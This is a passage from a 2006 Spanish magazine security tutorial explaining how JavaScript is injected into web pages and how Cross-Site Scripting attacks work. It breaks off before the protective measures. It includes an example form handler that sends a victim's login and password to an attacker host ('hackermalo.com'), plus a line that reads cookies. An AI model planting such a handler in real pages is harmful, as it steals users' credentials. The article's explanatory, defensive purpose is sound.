| Artículos | 01 ABR 2006

Protección contra inyección de código

Tags: Histórico
Curso de seguridad (II)
Gonzalo Alvarez.
La inyección de código de script en las páginas visitadas por los usuarios constituye con diferencia la vulnerabilidad más extendida en las aplicaciones web. Permite desde Instanciar objetos de ActiveX en el equipo de la víctima hasta robar cookies y credenciales de acceso a servicios protegidos. En esta segunda entrega nos vamos a centrar en la vulnerabilidad conocida como Cross-Site Scripting (XSS) y en cómo evitarla.

Nivel de dificultad: Medio
Objetivo del artículo: Proteger las aplicaciones web frente a ataques de inyección de código, como el XSS.
Herramientas necesarias: Las mismas utilizadas para el desarrollo de la aplicación web

Como ya mencionamos en la primera entrega, para que las aplicaciones de un sitio web sean seguras no basta con utilizar cortafuegos, cifrar las comunicaciones con SSL y fortificar y parchear todos los servidores implicados. Además de todas las medidas anteriores, ciertamente imprescindibles, es necesario que las aplicaciones, escritas en la plataforma que sea (JSP, ASP, PHP, etc.), incorporen sus propios controles de seguridad. La medida de protección más importante consiste en validar los datos de entrada procedentes del navegador de manera adecuada. Si no se validan los datos, la aplicación estará expuesta a todo tipo de ataques, como los de inyección de SQL, tratados el mes pasado, o los de inyección de código en el cliente, de los que hablamos aquí.

Los lenguajes de script
Todos los navegadores actuales más utilizados, como Internet Explorer, Firefox u Opera, incorporan la capacidad de ejecutar pequeños fragmentos de código llamados scripts. El lenguaje más extendido para el desarrollo de estos pequeños programas es JavaScript, soportado por todos los navegadores. Por supuesto que Microsoft creó su propio lenguaje no soportado más que en Internet Explorer, llamado VBScript y basado en Visual Basic. El objetivo de insertar código en JavaScript dentro del código fuente HTML de una página web es liberar al servidor de ciertas tareas, como por ejemplo validar los datos introducidos por los visitantes en los formularios: esta validación la realiza el propio navegador, sin necesidad de implicar al servidor. También se utiliza profusamente para producir efectos gráficos vistosos, como menús desplegables, imágenes que cambian dinámicamente, abrir y cerrar ventanas, escribir mensajes en la barra de estado y un sinfín de otras aplicaciones.
Existen diversos métodos para añadir scripts y funciones en JavaScript a una página web convencional. Sólo vamos a mencionar los tres más frecuentes. El primero consiste en utilizar la etiqueta <SCRIPT> en el lugar de la página donde deseamos que se ejecute el programa. Constituye la forma estándar de incluir funciones escritas en JavaScript:

<SCRIPT LANGUAGE=”JavaScript”>
<!-- Código en JavaScript //-->
</SCRIPT>

Cuando el navegador va interpretando la página en HTML, al llegar a esta etiqueta sabe que lo que está encerrado entre <SCRIPT> y </SCRIPT> es código JavaScript y lo ejecutará.
La segunda forma de insertar sentencias de código en JavaScript consiste en utilizar la etiqueta HREF, de forma que serán evaluadas dinámicamente cuando el usuario haga clic sobre un enlace o simplemente pase el ratón sobre él, aunque no llegue a hacer clic. Por ejemplo:

<A HREF=”javascript:history.go(-1)”>Ir atrás</A>

La tercera forma consiste en responder a eventos, los cuales disparan acciones programadas en Java–Script dentro de la página HTML como resultado de alguna acción del usuario, como pulsar un botón (evento onClick), deslizar el ratón sobre una imagen (evento onMouseOver) o simplemente cargar la página (evento onLoad). Más adelante veremos otros métodos para insertar código JavaScript en una página web.

Qué se puede hacer con JavaScript
Hasta ahora hemos explicado en qué consisten los lenguajes de script y cómo introducir código en una página web. ¿Qué interés tiene para un atacante? Con JavaScript se puede abrir una página en una ventana nueva:

window.open(‘http://www.criptonomicon.com’);
Se puede redirigir el navegador a otra página:
location.href=’http://www.idg.es/pcworld’;
Se puede leer el contenido de las cookies:
document.write(document.cookie);
Se puede cambiar una imagen de una página:
document.images[2].src=’http://www.idg.es/images/img182.jpg’;

Se puede añadir código para que se ejecute al enviar un formulario:

onsubmit=”window.open(‘http://www.hackermalo.com/registro.php?login=’+txtLogin.value+’&password=’+txtPassword.value+’)”

Incluso se pueden llegar a ejecutar comandos arbitrarios del sistema operativo cuando existen ciertos agujeros de seguridad en los navegadores. A continuación veremos cómo hacen los atacantes para sacarles provecho.

Cross Site Scripting
Cross Site Scripting (XSS) es el nombre que recibe la vulnerabilidad más extendida relacionada con la ejecución de scripts en el cliente, que afecta no tanto a los servidores como a los usuarios que visitan páginas de Internet. La causa del agujero de seguridad radica en la pobre verificación por parte de los sitios web de las cadenas de entrada enviadas por los usuarios a través de formularios, o directamente a través del URL. Estas cadenas, en el caso de ser maliciosas, podrían llegar a contener scripts completos. Cuando esta entrada se le muestra dinámicamente a un usuario dentro de una página web, si contiene un script, éste se ejecutará en el navegador del usuario dentro del contexto de seguridad de la página web visitada. Como consecuencia, podrá realizar en el ordenador del usuario todas las acciones que le sean permitidas a ese sitio web, como por ejemplo interceptar entradas del usuario víctima o leer sus cookies. Históricamente, una de las primeras menciones de esta vulnerabilidad se produjo en www.cert.org/advisories/CA-2000-02.html. Según estudios recientes, está presente en el 80 % de los sitios web.
El mayor riesgo de este tipo de ataques radica en que la entrada maliciosa no la proporciona el mismo usuario que ve la página, sino un atacante, que consigue que el script se ejecute en el navegador del usuario. La víctima ejecuta el código de manera indirecta cuando confiadamente hace clic sobre un hiperenlace malintencionado, que puede estar presente en el sitio web del atacante, en un mensaje de correo electrónico o de un grupo de noticias, en un mensaje instantáneo, en una conversación de chat, o en cualquier otro lugar que no levante sospechas. Debido a que en este caso quien resulta atacado es el visitante del sitio web y no el propio sitio, este tipo de vulnerabilidades no ha recibido la atención que se merece.
Por lo tanto, el XSS funciona de la siguiente manera:
1) El atacante confecciona un enlace que incluye el código JavaScript malicioso como argumento de entrada a algún parámetro de la página del sitio web vulnerable.
2) El usuario hace clic sobre el enlace y navega hasta el sitio web.
3) El sitio web no valida o lo hace pobremente la entrada anterior y genera dinámicamente una página HTML que incluye el código introducido en el hiperenlace por el atacante. La página le es presentada a

Contenidos recomendados...

Comentar
Para comentar, es necesario iniciar sesión
Se muestran 0 comentarios
X

Uso de cookies

Esta web utiliza cookies técnicas, de personalización y análisis, propias y de terceros, para facilitarle la navegación de forma anónima y analizar estadísticas del uso de la web. Consideramos que si continúa navegando, acepta su uso. Obtener más información